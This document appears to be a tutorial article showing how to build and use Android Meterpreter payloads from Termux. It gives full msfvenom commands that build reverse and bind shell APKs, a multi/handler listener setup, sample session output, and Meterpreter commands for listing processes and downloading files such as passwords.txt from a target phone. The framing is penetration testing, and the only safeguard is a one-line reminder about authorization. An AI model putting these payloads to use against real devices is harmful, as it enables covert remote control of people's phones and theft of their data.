Metasploit Payloads: Creating and Using Shells in Termux

Metasploit Payloads are an essential component of ethical hacking and penetration testing, providing methods to gain access to target systems. In this article, we’ll explore how to create and use Metasploit Payloads in Termux, a powerful terminal emulator on Android. By leveraging reverse shells and bind shells, you’ll learn how to set up a working environment, generate payloads, and interact with target devices—all from the convenience of your mobile device.

Understanding Metasploit Payloads is critical for ethical hackers, as these payloads allow you to execute commands on a compromised system, making them invaluable for penetration testing. This guide will walk you through the process, providing step-by-step instructions and output examples.

Prerequisites

Before you begin, ensure you have:

• Termux installed on your Android device.
• Metasploit installed in Termux.
• Basic understanding of penetration testing concepts.

Step 1: Setting Up Metasploit in Termux

1. Update your Termux installation:bashCopy codepkg update && pkg upgrade
2. Install Metasploit:bashCopy codepkg install unstable-repo pkg install metasploit

With Metasploit installed, you are ready to create Metasploit Payloads and conduct penetration tests.

Step 2: Creating a Reverse Shell Payload

Reverse shells are one of the most common Metasploit Payloads. To generate a reverse shell payload in Termux:

Open the Metasploit console:bashCopy codemsfconsole

Generate a reverse shell payload using msfvenom:

msfvenom -p android/meterpreter/reverse_tcp LHOST=<your_IP> LPORT=4444 R > /sdcard/payload.apk

Transfer the APK file (payload.apk) to the target device.

Step 3: Setting Up a Listener in Metasploit

To interact with the reverse shell, you need to set up a listener:

In the Metasploit console, use these commands:

use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST <your_IP> set LPORT 4444 exploit

Test Output Example:

[*] Started reverse TCP handler on 192.168.1.10:4444
[*] Sending stage (734464 bytes) to 192.168.1.20
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.20:12345)

Explanation: This output shows that the listener is waiting for the reverse shell connection. Once the target device runs the payload, a Meterpreter session is opened, allowing you to control the system.

Step 4: Interacting with the Target via Meterpreter

Once the reverse shell is active, you can use Meterpreter to interact with the target system:

List active sessions:

sessions -i

Interact with the active session:bashCopy code

sessions -i 1

Run various commands:

View system information:

sysinfo

Test Output Example

Computer : localhost OS : Android 11 Meterpreter : java/android

List active processes:

ps

Download sensitive files:

download /sdcard/passwords.txt

Explanation: The Meterpreter session allows you to execute commands on the target system, such as retrieving files, listing processes, or gathering system information.

Step 5: Creating a Bind Shell Payload

Another type of Metasploit Payload is a bind shell, where the target system opens a port for the attacker to connect:

Generate a bind shell payload:

msfvenom -p android/meterpreter/bind_tcp LPORT=4444 R > /sdcard/bind_payload.apk

Install the APK on the target system.

Set up the listener in Metasploit:

use exploit/multi/handler set payload android/meterpreter/bind_tcp set RHOST <target_IP> set LPORT 4444 exploit

Test Output Example:

code[*] Started bind TCP handler against 192.168.1.20:4444
[*] Sending stage (734464 bytes) to 192.168.1.20
[*] Meterpreter session 1 opened (192.168.1.10:12345 -> 192.168.1.20:4444)

Explanation: A bind shell listens on the target system, allowing the attacker to connect. Once connected, you can interact with the target using the Meterpreter session.

Best Practices for Using Metasploit Payloads

• Ensure Legal Compliance: Only test systems for which you have authorization.
• Use Secure Networks: Avoid conducting tests over unsecured networks.
• Keep Metasploit Updated: Regular updates ensure that you can use the latest payloads and features.

Conclusion

Metasploit Payloads are a critical tool in penetration testing, allowing you to deploy reverse and bind shells to gain access to target systems. With the flexibility of Termux, you can perform these actions directly from your Android device, making mobile penetration testing more accessible and efficient.
